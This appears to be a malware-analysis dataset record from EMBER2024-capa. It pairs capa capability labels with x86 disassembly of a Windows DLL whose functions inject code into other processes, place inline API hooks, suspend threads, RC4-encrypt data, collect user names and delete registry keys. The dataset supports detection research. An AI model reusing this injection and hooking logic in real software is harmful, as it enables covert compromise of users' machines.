joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003c9e
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push 0
pop dword [ebp - 4]
push 0
pop dword [ebp - 8]
mov ebx, 8
or ebx, 0x20019
or ebx, 0x20006
lea eax, [ebp - 8]
push eax
push ebx
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10003d62
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryInfoKeyA
or eax, eax
jne 0x10003d62
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10003d5a
mov dword [ebp - 4], eax
push dword [ebp - 0x10]
pop dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
jne 0x10003d47
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10003c9e
jmp 0x10003d15
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegDeleteKeyA
push dword [ebp - 4]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x10004326
Capabilities:
Hash data with crc32

Disassembly:
pushal
xor eax, eax
mov edx, eax
shl edx, 1
mov ecx, 9
shr edx, 1
jae 0x1000433c
xor edx, 0xedb88320
loop 0x10004332
mov dword [eax*4 + 0x10026d4c], edx
inc al
jne 0x10004329
popal
ret

Function at 0x1000434b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
push edx
mov eax, 0xffffffff
mov esi, dword [ebp + 8]
cmp esi, 0
je 0x1000437d
mov ecx, dword [ebp + 0xc]
jecxz 0x1000437d
mov edx, eax
shr edx, 8
xor al, byte [esi]
and eax, 0xff
mov eax, dword [eax*4 + 0x10026d4c]
xor eax, edx
inc esi
loop 0x10004365
not eax
pop edx
pop ecx
pop ebx
pop esi
pop edi
leave
ret 8

Function at 0x100047e9
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push 0x14
lea eax, [ebp - 0x20]
push eax
call fcn.10001ad5
push 0
pop dword [ebp - 0xc]
cmp dword [ebp + 0xc], 0xffffffff
je 0x1000487b
lea eax, [ebp - 0x20]
push eax
push 0
push 1
push 0
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_LockFileEx
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.100055b7
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.10004715
cmp eax, 1
jne 0x10004861
push dword [ebp + 8]
call fcn.1000460a
or edx, edx
je 0x10004861
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_ReadFile
push 1
pop dword [ebp - 0xc]
lea eax, [ebp - 0x20]
push eax
push 0
push 1
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_UnlockFileEx
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x100048b9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push 0x14
lea eax, [ebp - 0x1c]
push eax
call fcn.10001ad5
push 0
pop dword [ebp - 4]
cmp dword [ebp + 0xc], 0xffffffff
je 0x1000493a
lea eax, [ebp - 0x1c]
push eax
push 0
push 1
push 0
push 2
push dword [ebp + 0xc]
call sub.kernel32.dll_LockFileEx
cmp dword [ebp + 0x10], 4
jne 0x100048fd
push 2
push 0
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_SetFilePointer
push dword [ebp + 8]
call fcn.1000460a
or edx, edx
je 0x10004920
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_WriteFile
push 1
pop dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
push 0
push 1
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_UnlockFileEx
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
push 0x14
lea eax, [ebp - 0x1c]
push eax
call fcn.10001ad5
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x10006344
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0x100226ce
call sub.kernel32.dll_GetModuleHandleA
cmp eax, 0
je 0x10006535
mov dword [ebp - 4], eax
push str.ZwQuerySystemInformation
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [str..ZwQueryInformationProcess], eax
push 0x100226f5
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x1002270f], eax
push 0x10022734
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x10022730], eax
push 0x10022743
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x1002273f], eax
push 0x10022757
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x10022753], eax
push 0x10022772
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x1002276e], eax
push 0x1002278b
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x10022787], eax
push 0x100227ac
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x100227a8], eax
push 0x1002280e
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x1002280a], eax
push 0x10022713
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x1002272c], eax
push 0x10022823
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [str.nZwTerminateProcess], eax
push 0x1002283a
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [str._ZwResumeThread], eax
push 0x100227c2
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x100227be], eax
push 0x100227d4
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x100227d0], eax
push 0x100227f5
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x100227f1], eax
push 0x1002284d
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x10022849], eax
push 0x10022868
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x10022864], eax
push 0x10022880
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x10006535
mov dword [0x1002287c], eax
mov eax, 1
leave
ret
mov eax, 0
leave
ret

Function at 0x10006774
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x40
push 0x3000
push dword [ebp + 0x10]
push 0
push dword [ebp + 8]
call sub.kernel32.dll_VirtualAllocEx
or eax, eax
je 0x100067ad
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x100067b1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0xc]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10006774
or eax, eax
je 0x100068d2
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
call fcn.10006720
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10006774
or eax, eax
je 0x100068d2
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push 0
push 0
push dword [ebp + 8]
call sub.kernel32.dll_CreateRemoteThread
or eax, eax
je 0x100068d2
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x18], 2
jne 0x1000682d
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0xc]
jmp 0x100068d2
cmp dword [ebp + 0x18], 0
jne 0x1000683e
push dword [ebp - 0x10]
pop dword [ebp - 0xc]
jmp 0x100068d2
cmp dword [ebp + 0x18], 1
jne 0x10006891
push 0xffffffffffffffff
push dword [ebp - 0x10]
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
call sub.kernel32.dll_GetExitCodeThread
or eax, eax
jne 0x10006863
push 0
pop dword [ebp - 0xc]
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
jmp 0x100068d2
cmp dword [ebp + 0x18], 3
jne 0x100068d2
push 0xffffffffffffffff
push dword [ebp - 0x10]
call sub.kernel32.dll_WaitForSingleObject
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 1
pop dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
leave
ret 0x14
Function at 0x10006c03
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push 0
pop dword [ebp - 4]
push 0x30
lea eax, [ebp - 0x54]
push eax
call fcn.10001ad5
push 0x10000000
pop dword [ebp - 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.10003098
cmp eax, 0
je 0x10006de0
push dword [eax + 0x1c]
pop dword [ebp - 0xc]
push dword [eax + 0x38]
pop dword [ebp - 0x10]
mov eax, dword [ebp - 8]
add eax, 0x10000
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
push 0x40
push 0x3000
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10006c97
push 0x8000
push 0
push dword [ebp - 0x14]
call sub.kernel32.dll_VirtualFree
push 0x40
push 0x3000
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], 0x30000000
jae 0x10006ca8
mov eax, dword [ebp - 0x14]
cmp eax, 0
je 0x10006c41
mov eax, dword [ebp - 0x14]
cmp eax, 0
je 0x10006de0
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.1000710e
cmp eax, 0
je 0x10006de0
push 0
push dword [ebp - 0x4c]
push dword [ebp - 0x54]
push dword [ebp - 0x14]
push dword [ebp + 8]
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 0
je 0x10006de0
push 0x10006dfc
call fcn.10006720
push eax
push 0x10006dfc
push dword [ebp + 8]
call fcn.10006774
cmp eax, 0
je 0x10006de0
mov dword [ebp - 0x48], eax
push 0x1000702f
call fcn.10006720
push eax
push 0x1000702f
push dword [ebp + 8]
call fcn.10006774
cmp eax, 0
je 0x10006de0
mov dword [ebp - 0x44], eax
push dword [0x10022730]
pop dword [ebp - 0x40]
push dword [0x1002273f]
pop dword [ebp - 0x3c]
push dword [0x10022753]
pop dword [ebp - 0x38]
push dword [0x100227be]
pop dword [ebp - 0x34]
push dword [0x100227d0]
pop dword [ebp - 0x30]
push dword [0x100227f1]
pop dword [ebp - 0x2c]
push dword [0x10022849]
pop dword [ebp - 0x28]
cmp dword [ebp + 0xc], 0
je 0x10006dc8
push 0x10006b7f
call fcn.10006720
push eax
push 0x10006b7f
push dword [ebp + 8]
call fcn.10006774
cmp eax, 0
je 0x10006de0
mov dword [ebp - 0x20], eax
push 0x30
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 8]
call fcn.10006774
cmp eax, 0
je 0x10006de0
mov dword [ebp - 0x1c], eax
push 0
push 0
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call fcn.1000658d
mov dword [ebp - 4], eax
jmp 0x10006de0
push 2
push 0x30
lea eax, [ebp - 0x54]
push eax
push 0x10006b7f
push dword [ebp + 8]
call fcn.100067b1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x54], 0
je 0x10006df5
push 0x8000
push 0
push dword [ebp - 0x54]
call sub.kernel32.dll_VirtualFree
mov eax, dword [ebp - 4]
leave
ret 0x10
Function at 0x10007279
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push 0
pop dword [ebp - 0x28]
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebp - 0x2c], eax
push 0
push 4
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x10007320
mov dword [ebp - 4], eax
mov eax, 0x1c
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_Thread32First
or eax, eax
je 0x10007313
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
cmp eax, dword [ebp + 8]
jne 0x10007302
cmp ebx, dword [ebp - 0x2c]
je 0x10007302
push dword [ebp - 0x1c]
push 0
push 2
call sub.kernel32.dll_OpenThread
or eax, eax
je 0x10007302
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
jne 0x100072ec
push dword [ebp - 8]
call sub.kernel32.dll_SuspendThread
jmp 0x100072fa
cmp dword [ebp + 0xc], 1
jne 0x100072fa
push dword [ebp - 8]
call sub.kernel32.dll_ResumeThread
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_Thread32Next
cmp eax, 0
jne 0x100072b9
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
leave
ret 8

Function at 0x100073d1
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push 0
pop dword [ebp - 0x14]
mov eax, dword [ebp + 0x10]
push 0
pop dword [eax]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0xa
push dword [ebp + 8]
call sub.kernel32.dll_VirtualProtect
or eax, eax
je 0x100074cc
push 5
push dword [ebp + 8]
call fcn.10007343
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 5
jb 0x100074bb
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.10007368
or eax, eax
jne 0x100074bb
mov eax, 0xa
add eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
push 0x40
push 0x1000
push dword [ebp - 0x18]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x100074bb
mov dword [ebp - 8], eax
mov esi, eax
push dword [ebp + 8]
pop dword [esi]
add esi, 4
mov eax, dword [ebp - 4]
mov byte [esi], al
inc esi
push 0
push dword [ebp - 4]
push esi
push dword [ebp + 8]
call fcn.10001aed
push dword [ebp - 4]
push esi
push esi
push dword [ebp + 8]
call fcn.10007392
add esi, dword [ebp - 4]
mov al, 0xe9
mov byte [esi], al
inc esi
mov eax, dword [ebp + 8]
sub eax, dword [ebp - 8]
sub eax, 0xa
mov dword [esi], eax
mov esi, dword [ebp + 8]
mov al, 0xe9
mov byte [esi], al
inc esi
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sub eax, 5
mov dword [esi], eax
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp - 8]
add ebx, 5
mov dword [eax], ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push dword [ebp - 8]
call sub.kernel32.dll_VirtualProtect
push 1
pop dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push 0xa
push dword [ebp + 8]
call sub.kernel32.dll_VirtualProtect
mov eax, dword [ebp - 0x14]
leave
ret 0xc
Function at 0x1000751a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push esi
push edi
push ebx
push ecx
push edx
push 0
pop dword [ebp - 0x18]
cmp dword [ebp + 8], 0
je 0x100075d0
mov eax, dword [ebp + 8]
sub eax, 5
mov dword [ebp - 4], eax
mov bl, byte [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], eax
movzx eax, bl
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.kernel32.dll_VirtualProtect
or eax, eax
je 0x100075af
push dword [ebp - 0xc]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x100075af
mov dword [ebp - 0x1c], eax
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x1c]
push dword [ebp + 8]
call fcn.10001aed
push dword [ebp - 0xc]
push dword [ebp - 0x1c]
push dword [ebp - 8]
push dword [ebp + 8]
call fcn.10007392
push 0
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 0x1c]
call fcn.10001aed
push dword [ebp - 0x1c]
call sub.kernel32.dll_GlobalFree
push 1
pop dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.kernel32.dll_VirtualProtect
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
mov eax, dword [ebp - 0x18]
pop edx
pop ecx
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x100075dc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
mov dword [ebp - 0x164], 0
push 0
push 0x18
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.1000653c
or eax, eax
jne 0x100076d3
lea eax, [ebp - 0x1c]
push eax
push 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x14]
push dword [ebp + 8]
call sub.kernel32.dll_ReadProcessMemory
or eax, eax
je 0x100076d3
lea eax, [ebp - 0x1c]
push eax
push 0x40
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x20]
push dword [ebp + 8]
call sub.kernel32.dll_ReadProcessMemory
or eax, eax
je 0x100076d3
cmp word [ebp - 0x68], 0x5a4d
jne 0x100076d3
mov edi, dword [ebp - 0x20]
add edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x1c]
push eax
push 0xf8
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp + 8]
call sub.kernel32.dll_ReadProcessMemory
or eax, eax
je 0x100076d3
cmp dword [ebp - 0x160], 0x4550
jne 0x100076d3
mov eax, dword [ebp - 0x158]
cmp eax, dword [ebp + 0xc]
je 0x100076d3
add edi, 8
lea eax, [ebp - 0x168]
push eax
push 4
push 4
push edi
push dword [ebp + 8]
call sub.kernel32.dll_VirtualProtectEx
cmp eax, 1
jne 0x100076d3
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp + 0xc]
push eax
push edi
push dword [ebp + 8]
call sub.kernel32.dll_WriteProcessMemory
mov dword [ebp - 0x164], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x168]
push 4
push edi
push dword [ebp + 8]
call sub.kernel32.dll_VirtualProtectEx
mov eax, dword [ebp - 0x164]
leave
ret 8
Function at 0x10007786
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push esi
push edi
push ebx
push ecx
push 0
pop dword [ebp - 4]
push 0x10
push dword [ebp + 0xc]
call fcn.10001ad5
push dword [ebp + 8]
push 0
push 4
call sub.kernel32.dll_OpenFileMappingA
mov esi, dword [ebp + 0xc]
mov dword [esi], eax
cmp dword [esi], 0
je 0x100077e3
push 0
push 0
push 0
push 4
push dword [esi]
call sub.kernel32.dll_MapViewOfFile
or eax, eax
je 0x100077e3
mov esi, dword [ebp + 0xc]
push dword [eax]
pop dword [esi + 0xc]
add eax, 4
push dword [eax]
pop dword [esi + 8]
add eax, 4
mov dword [esi + 4], eax
push 1
pop dword [ebp - 4]
mov eax, dword [ebp - 4]
pop ecx
pop ebx
pop edi
pop esi
leave
ret 8

Function at 0x1000783b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
push esi
push ecx
push edi
push ebx
push edx
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x10007981
mov dword [ebp - 0x12c], eax
push 0x128
pop dword [ebp - 0x128]
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.kernel32.dll_Process32First
or eax, eax
je 0x10007976
mov eax, 0
or eax, eax
jne 0x1000795b
mov eax, dword [ebp - 0x120]
cmp dword [0x100228b0], eax
je 0x1000795b
lea eax, [ebp - 0x174]
push eax
push dword [ebp - 0x120]
push 0x1934
call fcn.100035c5
lea eax, [ebp - 0x134]
push eax
push 0
lea eax, [ebp - 0x174]
push eax
call fcn.1000372e
or eax, eax
je 0x1000795b
lea eax, [ebp - 0x174]
push eax
push dword [ebp - 0x120]
push 0x1401
call fcn.100035c5
lea eax, [ebp - 0x174]
push eax
call fcn.100036e7
or eax, eax
jne 0x1000794f
push dword [ebp - 0x120]
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
or eax, eax
je 0x1000794f
mov dword [ebp - 0x130], eax
push 0x707f5
push dword [ebp - 0x130]
call fcn.100075dc
cmp eax, 1
jne 0x10007944
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push dword [ebp - 0x130]
call fcn.10006c03
push dword [ebp - 0x130]
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x134]
push eax
call fcn.1000370a
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.kernel32.dll_Process32Next
cmp eax, 0
jne 0x10007886
push dword [ebp - 0x12c]
call sub.kernel32.dll_CloseHandle
pop edx
pop ebx
pop edi
pop ecx
pop esi
leave
ret 8
Function at 0x1000af91
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
push edx
push ecx
mov edi, dword [ebp + 8]
cmp byte [edi + 0x102], 0xff
jne 0x1000b020
cmp dword [ebp + 0xc], 0
je 0x1000b020
cmp dword [ebp + 0x10], 0
je 0x1000b020
mov ebx, dword [ebp + 8]
mov al, byte [ebx]
mov byte [ebp - 3], al
mov al, byte [ebx + 1]
mov byte [ebp - 4], al
mov edi, ebx
inc edi
inc edi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 0x10]
jecxz 0x1000b015
inc byte [ebp - 3]
movzx eax, byte [ebp - 3]
movzx edx, byte [eax + edi]
mov byte [ebp - 1], dl
add byte [ebp - 4], dl
movzx eax, byte [ebp - 4]
mov dl, byte [eax + edi]
mov byte [ebp - 2], dl
movzx eax, byte [ebp - 3]
mov byte [eax + edi], dl
movzx eax, byte [ebp - 4]
mov dl, byte [ebp - 1]
mov byte [eax + edi], dl
mov dl, byte [ebp - 1]
add dl, byte [ebp - 2]
mov dl, byte [edx + edi]
mov eax, dword [ebp - 8]
xor byte [eax + esi], dl
inc dword [ebp - 8]
loop 0x1000afd5
mov al, byte [ebp - 3]
mov byte [ebx], al
mov al, byte [ebp - 4]
mov byte [ebx + 1], al
pop ecx
pop edx
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1000b063
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push eax
push ebx
push ecx
push edx
push edi
push esi
cmp dword [ebp + 8], 0
je 0x1000b222
push 0x1002726c
call sub.kernel32.dll_EnterCriticalSection
push 0x2c
lea eax, [ebp - 0x2c]
push eax
call fcn.10001ad5
push dword [ebp + 8]
call fcn.100022c9
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.10004521
push 0xfde9
lea eax, [ebp - 0x2c]
push eax
call fcn.100051e8
push dword [ebp + 0xc]
call fcn.1000498d
mov dword [ebp - 0x28], eax
push 0xfde9
lea eax, [ebp - 0x28]
push eax
call fcn.100051e8
push dword [ebp + 0x10]
call fcn.1000498d
mov dword [ebp - 0x24], eax
push 0xfde9
lea eax, [ebp - 0x24]
push eax
call fcn.100051e8
push dword [ebp + 0x14]
call fcn.1000498d
mov dword [ebp - 0x20], eax
push 0xfde9
lea eax, [ebp - 0x20]
push eax
call fcn.100051e8
push dword [ebp + 0x18]
call fcn.1000498d
mov dword [ebp - 0x1c], eax
push 0xfde9
lea eax, [ebp - 0x1c]
push eax
call fcn.100051e8
push dword [ebp + 0x1c]
call fcn.1000498d
mov dword [ebp - 0x18], eax
push 0xfde9
lea eax, [ebp - 0x18]
push eax
call fcn.100051e8
push dword [ebp + 0x24]
pop dword [ebp - 8]
call fcn.100055ff
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x20]
call fcn.10002031
mov eax, 0x104
shl eax, 1
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10004715
cmp eax, 1
jne 0x1000b193
lea eax, [ebp - 0x14]
push eax
call fcn.1000460a
or edx, edx
je 0x1000b186
shr eax, 1
push eax
push edx
push 0
call sub.kernel32.dll_GetModuleFileNameW
or eax, eax
je 0x1000b186
shl eax, 1
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10004715
or eax, eax
jne 0x1000b193
lea eax, [ebp - 0x14]
push eax
call fcn.100055b7
push 0xfde9
lea eax, [ebp - 0x14]
push eax
call fcn.100051e8
mov edx, 0x101
shl edx, 1
push edx
lea eax, [ebp - 0x10]
push eax
call fcn.10004715
cmp eax, 1
jne 0x1000b1fa
lea eax, [ebp - 0x10]
push eax
call fcn.1000460a
or edx, edx
je 0x1000b1ed
shr eax, 1
push eax
pop dword [ebp - 0x30]
lea eax, [ebp - 0x30]
push eax
push edx
call sub.advapi32.dll_GetUserNameW
cmp eax, 1
jne 0x1000b1ed
mov eax, dword [ebp - 0x30]
or eax, eax
je 0x1000b1ed
dec eax
shl eax, 1
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10004715
or eax, eax
jne 0x1000b1fa
lea eax, [ebp - 0x10]
push eax
call fcn.100055b7
push 0xfde9
lea eax, [ebp - 0x10]
push eax
call fcn.100051e8
push 0x2c
lea eax, [ebp - 0x2c]
push eax
push 0x100265ae
call fcn.10001fef
push 0x1002726c
call sub.kernel32.dll_LeaveCriticalSection
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0x20

Function at 0x1000ba7f
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
mov dword [ebp - 8], 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.kernel32.dll_ConnectNamedPipe
or eax, eax
jne 0x1000bac3
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
jne 0x1000bab1
mov dword [ebp - 8], 1
jmp 0x1000bac3
cmp eax, 0x217
jne 0x1000bac3
mov edi, dword [ebp + 0xc]
push dword [edi + 0x10]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp - 8]
pop edi
leave
ret 8